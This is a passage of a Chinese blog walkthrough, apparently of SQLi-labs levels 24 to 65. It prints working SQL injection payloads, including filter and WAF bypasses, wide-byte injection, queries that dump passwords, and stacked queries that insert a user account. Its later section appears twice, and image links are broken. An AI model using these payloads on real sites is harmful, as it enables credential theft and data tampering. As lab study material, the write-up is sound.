于是构建payload:?id=-1’ union select 1,(select group_concat(username,password ) from users),3 and ‘1’ = '1

不能用#和–+注释,就写个成立的条件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1c2771cZ-1678187793409)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306165451300.png)]

第二十四关(post类型二次排序注入-存储型注入)

修改密码加反斜杠重新登录未见报错,查看源代码一探究竟

if (isset($_POST['submit']))
{


  # Validating the user input........
  $username= $_SESSION["username"];
  $curr_pass= mysql_real_escape_string($_POST['current_password']);
  $pass= mysql_real_escape_string($_POST['password']);
  $re_pass= mysql_real_escape_string($_POST['re_password']);

  if($pass==$re_pass)
  { 
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_affected_rows();
    echo '<font size="3" color="#FFFF00">';
    echo '<center>';
    if($row==1)
    {
      echo "Password successfully updated";

    }
    else
    {
      header('Location: failed.php');
      //echo 'You tried to be smart, Try harder!!!! :( ';
    }
}
  else
{
    echo '<font size="5" color="#FFFF00"><center>';
    echo "Make sure New Password and Retype Password fields have same value";
    header('refresh:2, url=index.php');
}
}
  • 有新用户注册文件 New_user.php

  • 修改密码文件 pass_change.php

  • 登录文件 login.php

  • 都使用了mysql_real_escape_string函数对注册的参数进行过滤

    它会将\0,\n,\r,\,'"这些特殊字符进行转义,使其变成可以安全插入到MySQL数据库中的字符串

  • 但在修改密码文件中却是直接调用username参数

  • mysql_affected_rows是一个PHP MySQL扩展库中的函数,用于获取前一次MySQL操作(INSERT,UPDATE或DELETE)对于表中受影响的行数。

    例如,如果你执行了一个UPDATE查询,修改了5行,那么mysql_affected_rows()将返回5。

    需要注意的是,mysql_affected_rows()函数只适用于INSERT、UPDATE、REPLACE和DELETE查询。对于SELECT查询,需要使用其他方法来获取结果集中的行数。

通过源码发现,只有username参数没有用到mysql_real_escape_string函数,于是可以从用户名下手

如果注册一个名为admin’#的用户,那么

这是原sql语句

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

若admin’#进行修改密码时,sql语句会变成

$sql = "UPDATE users SET PASSWORD='123456' where username='admin'# and password='$curr_pass' ";

发现,当输入admin再输入‘时,单引号不会输入,光标跳转到了原来的单引号后

所以此时进行修改的密码实际上时admin用户的密码

第二十五关(过滤and和or,双写绕过)

1.双写绕过

?id=1’ oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fayl6Ig5-1678187793409)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306173733383.png)]

2.符号替换绕过数学符号

and = && or = ||&对应url编码%26,|对应url编码%7

?id=1’ || extractvalue(null,concat(0x7e,database(),0x7e))%23

3.注释绕过

and = an/**/d    or = o/**/r

?id=1’ oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

第二十五a关(基于GET盲注整形单引号)

整形闭合,没有报错信息了

payload:?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3–+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bwsHEkk5-1678187793409)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306174650722.png)]

第二十六关(过滤and和or,#和–,斜杠和空格)

function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/and/i',"", $id);    //Strip out AND (non case sensitive)
  $id= preg_replace('/[\/\*]/',"", $id);    //strip out /*
  $id= preg_replace('/[--]/',"", $id);    //Strip out --
  $id= preg_replace('/[#]/',"", $id);     //Strip out #
  $id= preg_replace('/[\s]/',"", $id);    //Strip out spaces
  $id= preg_replace('/[\/\\\\]/',"", $id);    //Strip out slashes
  return $id;
}

过滤了很多符号

绕过方式

1.编码绕过

  • %09 TAB键(空格)
  • %0A 新建一行(空格)
  • %0C 新的一页
  • %0D return即回车功能 (php-5.2.17,5.3.29成功)
  • %0B TAB键(垂直)
  • %A0 空格 (php-5.2.17成功)

2.括号绕过

  • 用()绕过,意思就是不使用任何空格

payload:

&&extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))||'1

进行编码绕过后

?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1

第二十六a关(括号闭合,没有报错信息)

括号闭合,没有报错信息了

构建原payload:

?id=100') union select 1,database(),3||('1

对特殊字符进行编码后

?id=100')%0Bunion%0Bselect%0B1,database(),3%0B||('1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ulbCEm8u-1678187793410)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306185824278.png)]

第二十七关(过滤了union和select)

源代码没有进行大小写的转换,输入单引号发现有报错信息,故用大小写混用绕过的报错注入即可

?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XtIzl7Np-1678187793410)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306190657510.png)]

第二十七a关(双引号闭合)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NmjzMWPc-1678187793410)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306191332495.png)]

第二十八关(忽略大小写)

源代码中,过滤了 union select这个字符串,其中\s+代表匹配一个或多个空格,/i表示不区分大小写

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WGHq9Etj-1678187793410)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306192228415.png)]

在正则表达式中,反斜杠\是用来转义特殊字符的,例如\s表示匹配空白字符,\d表示匹配数字字符。但是,在PHP中,反斜杠也是用来转义字符的。所以,如果要在PHP字符串中表示一个正则表达式中的特殊字符,需要用两个反斜杠来转义,例如\s需要写成\\s

另一方面,正斜杠/是用来分隔正则表达式的开始和结束的。在PHP中,通常使用正斜杠来包含正则表达式模式,以便进行匹配。因此,在PHP中,正则表达式通常用正斜杠包含起来。

所以可以用加字符绕过

union all select

  • UNION SELECT 会去重:这个语句将多个 SELECT 语句的结果集合并成一个结果集,并去除其中的重复行。也就是说,如果多个 SELECT 语句的结果中有相同的行,那么只会在最终结果集中保留一次。
  • UNION ALL SELECT 不会去重:这个语句将多个 SELECT 语句的结果集合并成一个结果集,但不会去除其中的重复行。也就是说,如果多个 SELECT 语句的结果中有相同的行,那么在最终结果集中会保留所有的行。
?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E8mOJgzh-1678187793411)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306192525398.png)]

或者是双写绕过

?id=1')%0aand%0a1=2%0aunion%0aunion%0aselect%0aselect%0a1,database(),3%0aor ('1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sl4pkpF1-1678187793411)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306193929648.png)]

第二十八a关(只对union select进行了过滤)

查看源代码,未对字符进行过滤
在这里插入图片描述

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-POY13nvH-1678187793411)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230306194640558.png)]

第二十九关(HTTP参数污染)

参考原文:https://blog.csdn.net/m0_54899775/article/details/122156208

​ https://www.cooyf.com/notes/4.html

服务器(两层)架构介绍

img

​ 服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client(客户端) 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

http参数污染:jsp/tomcat使用getgetParameter(“id”)获取到的是第一个值,php/apache使用$_GET[“id”]获取的是第二个值,那么第一个id纯数字,第二个id的值,也就是,需要注入两个参数,第二个参数才是可以实现sql注入的

常见的web服务器对相同名称参数出现多次的处理方式

WEB服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
ASP/IISRequest.QueryString(“par”)All (comma-delimited string)
Python/Apachegetvalue(“par”)All (List)

HPP有什么用

利用参数污染可以改变web应用程序行为,访问或利用不可控变量,以及绕过输入验证检查、绕过某些防火墙对于 SQL注入的检测

架构为Apache (php),其解析最后一个参数

WAF只检查第一个参数,而后台程序取最后一个参数的值,那么这个请求就可以绕过WAF的检测

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2Dnl3kHQ-1678187793411)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307095949957.png)]

第三十关(双引号闭合)

和29关一样,用双引号闭合即可,不再赘述

第三十一关(双引号括号闭合)

除了闭合方式,都一样

第三十二关(宽字节注入)

使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1 \ ",使得引号不起作用
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZFcQsGNk-1678187793412)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307101556659.png)]

preg_replace是PHP的一个函数,用于执行正则表达式的搜索和替换。它的语法是:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )

它的参数说明是:

  • $pattern:要搜索的模式,可以是一个字符串或一个数组。
  • $replacement:要替换的字符串或数组。
  • $subject:要进行搜索和替换的字符串或数组。
  • $limit:可选,替换的次数上限,默认为-1,表示无限制。
  • $count:可选,传递一个变量,用于存储替换的次数。

它的返回值是:

  • 如果$subject是一个字符串,返回一个替换后的字符串。
  • 如果$subject是一个数组,返回一个替换后的数组。
  • 如果没有找到匹配,返回$subject不变。
  • 如果发生错误,返回null。

​ 但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

原理

客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)

宽字节注入是一种利用MySQL的GBK编码特性,通过PHP发送恶意的字符到MySQL,造成SQL语句的拼接错误,从而执行SQL注入攻击的技术。宽字节注入的原理是:

GBK编码的特点是能够表示更多的汉字,包括繁体字和少数民族文字,但是不是国际标准,与其他编码方式不兼容,需要通过Unicode编码转换

  • PHP发送请求到MySQL时,会根据character_set_client设置的值,对参数进行一次编码转换
  • MySQL在使用GBK编码时,会认为两个字符是一个汉字,前一个ASCII码要大于128(超出标准ASCALL码范围),才到汉字的范围
  • 如果参数中包含单引号(')或双引号("),并且前一个字符的ASCII码大于128,那么MySQL会将这两个字符当作一个汉字,从而导致SQL语句的拼接错误
  • 例如,参数为%df’,PHP会将其转换为0xdf27,MySQL会将0xdf27当作一个汉字,而不是0xdf和0x27,从而忽略了单引号,造成SQL注入的可能

自己总结:服务器端先过滤特殊字符,而此时服务器端是gbk编码,所以会将他认为是汉字的字符传过去,而汉字不会被解释,所以闭合成功

payload:?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VflPobQ5-1678187793412)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307102847418.png)]

第三十三关(宽字节注入)

和32关一样

第三十四关(post类型宽字节注入)

此题再次发现反斜杠,利用之前所说的%df发现并没有效果

这是因为%df是url编码,这里我们可以通过汉字的方式去绕过,和%df类似,一些汉字的编码为一个三字节的编码,可以将三个字节拆开来看,前两个为一组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5W4guyVQ-1678187793412)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307110244483.png)]

第三十五关(联合查询宽字节注入)

这里是数字型注入,不需要符号闭合

构建payload:?id=1 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

0x3c62723e是十六进制的表示,对于ASCLL中的
,可以将数据排列的整齐点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QYdaLcfL-1678187793412)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307112619263.png)]

第三十六关(mysql_real_escape_string进行转义)

?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

使用宽字节注入即可

第三十七关(post类型mysql_real_escape_string函数转义)

同34关

第三十八关(堆叠注入)

本关使用的查询语句是 mysqli_multi_query 函数,该函数允许我们通过 ; 同时执行多个语句


?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+  查询字段

?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+   查询账号密码
 


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vb8m8XN1-1678187793412)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307125436471.png)]

第三十九关(整形闭合堆叠注入)

只改变了闭合方式,其他和上一关一样,不再赘述

第四十关(单引号加括号闭合堆叠注入)

只改变了闭合方式,其他和上一关一样,不再赘述

第四十一关(id为整数堆叠注入)

没什么好说的

第四十二关(post类型堆叠注入)

账号进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

payload:login_user=1&login_password=1’;insert into users(id,username,password) values (‘39’,‘less30’,‘123456’)–+&mysubmit=Login

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lZT2sbpP-1678187793412)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307161521332.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-78WTh5rq-1678187793413)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307161558467.png)]

登录成功,说明注入成功了

第四十三关(post类型堆叠注入)

有单引号和括号闭合,其他同上一关一样

第四十四关(post类型堆叠注入)

无报错回显,可用时间盲注,其他同42关一样,不再赘述

第四十五关(post类型堆叠注入)

无报错回显,可用时间盲注,其他同43关一样,不再赘述

第四十六关(order by注入)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aaYgUGnH-1678187793413)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307165114413.png)]

?sort=1 asc 和 ?sort=1 desc 是两种 order by 注入的方式,它们分别表示按照第一列升序和降序排序。如果网站没有对这些参数进行过滤,就可能存在 order by 注入的漏洞,攻击者可以利用这些漏洞来获取数据库的信息。

本关sql语句由order by执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VB5vKQVj-1678187793413)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307163418837.png)]

输入1,2,3表中出现不同数据,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。

构建payload:

?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PhGMChOM-1678187793413)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307163917030.png)]

第四十七关(order by注入)

由单引号闭合的order by注入

方式与上一关相同,只是闭合条件不同,此处不再赘述

第四十八关(order by延时注入)

没有报错提示,所以使用延时注入,其他与四十六关相同,不再赘述

第四十九关(order by延时注入)

没有报错提示,所以使用延时注入,其他与四十七关相同,不再赘述

第五十关(order by注入)

和46关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入

第五十一关(单引号闭合order by注入)

只是闭合方式改为了order by,其它与上一关一样

第五十二关(order by堆叠注入)

无闭合符号,没有回显报错信息,使用延时注入来进行堆叠注入即可

第五十三关(单引号闭合堆叠注入)

没有报错,单引号闭合,用堆叠注入和延时注入即可

第五十四关(次数限制)

只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cAnPk6fj-1678187793414)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307172524050.png)]

用最简单的联合查询就行

1.获得表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s5GpEpVr-1678187793414)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307173024188.png)]

表名:ie87h1un0f

2.获取字段名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='ie87h1un0f'--+  

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HcU0h6Ha-1678187793414)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307173141554.png)]

字段名:id,sessid,secret_WFZ8,tryy

3.获取key值

?id=-1%27union%20select%201,group_concat(secret_WFZ8),3%20from%20ie87h1un0f--+  

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h0V5OjeN-1678187793415)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230307173329149.png)]

b8TjKCZ3hUOkQ6LyC3iBRQao

第五十五关(括号闭合限定次数)

由括号闭合,其它和上一关相同,不再赘述

第五十六关(单引号与括号闭合限定次数)

由单引号与括号闭合,其它和上一关相同,不再赘述

第五十七关(双引号闭合限定次数)

由双引号闭合,其它和上一关相同,不再赘述

第五十八关(报错注入限定次数)

获取表

COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

获取字段

COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges'),0x7e),1)--+

获取key

COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+

第五十九关(整形注入限定次数)

整形注入,没有闭合,其他与上一关相同,此处不再赘述

第六十关(双引号括号闭合限定次数)

双引号括号闭合,其他与上一关相同,此处不再赘述

第六十一关(单引号与两个括号闭合限定次数)

单引号与两个括号闭合,其他与上一关相同,此处不再赘述

第六十二关(盲注限定次数)

联合查询,报错注入都不行,使用盲注,不再赘述

第六十三关(单引号闭合盲注限定次数)

单引号闭合,其他与上一关相同,此处不再赘述

第六十四关(双括号闭合盲注限定次数)

双括号闭合,其他与上一关相同,此处不再赘述

第六十五关(双引号与双括号闭合盲注限定次数)

双引号与双括号闭合,其他与上一关相同,此处不再赘述
=database()–+


[外链图片转存中...(img-s5GpEpVr-1678187793414)]

表名:ie87h1un0f

2.获取字段名

```sql
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='ie87h1un0f'--+  

[外链图片转存中…(img-HcU0h6Ha-1678187793414)]

字段名:id,sessid,secret_WFZ8,tryy

3.获取key值

?id=-1%27union%20select%201,group_concat(secret_WFZ8),3%20from%20ie87h1un0f--+  

[外链图片转存中…(img-h0V5OjeN-1678187793415)]

b8TjKCZ3hUOkQ6LyC3iBRQao

第五十五关(括号闭合限定次数)

由括号闭合,其它和上一关相同,不再赘述

第五十六关(单引号与括号闭合限定次数)

由单引号与括号闭合,其它和上一关相同,不再赘述

第五十七关(双引号闭合限定次数)

由双引号闭合,其它和上一关相同,不再赘述

第五十八关(报错注入限定次数)

获取表

COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

获取字段

COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges'),0x7e),1)--+

获取key

COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+

第五十九关(整形注入限定次数)

整形注入,没有闭合,其他与上一关相同,此处不再赘述

第六十关(双引号括号闭合限定次数)

双引号括号闭合,其他与上一关相同,此处不再赘述

第六十一关(单引号与两个括号闭合限定次数)

单引号与两个括号闭合,其他与上一关相同,此处不再赘述

第六十二关(盲注限定次数)

联合查询,报错注入都不行,使用盲注,不再赘述

第六十三关(单引号闭合盲注限定次数)

单引号闭合,其他与上一关相同,此处不再赘述

第六十四关(双括号闭合盲注限定次数)

双括号闭合,其他与上一关相同,此处不再赘述

第六十五关(双引号与双括号闭合盲注限定次数)

双引号与双括号闭合,其他与上一关相同,此处不再赘述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值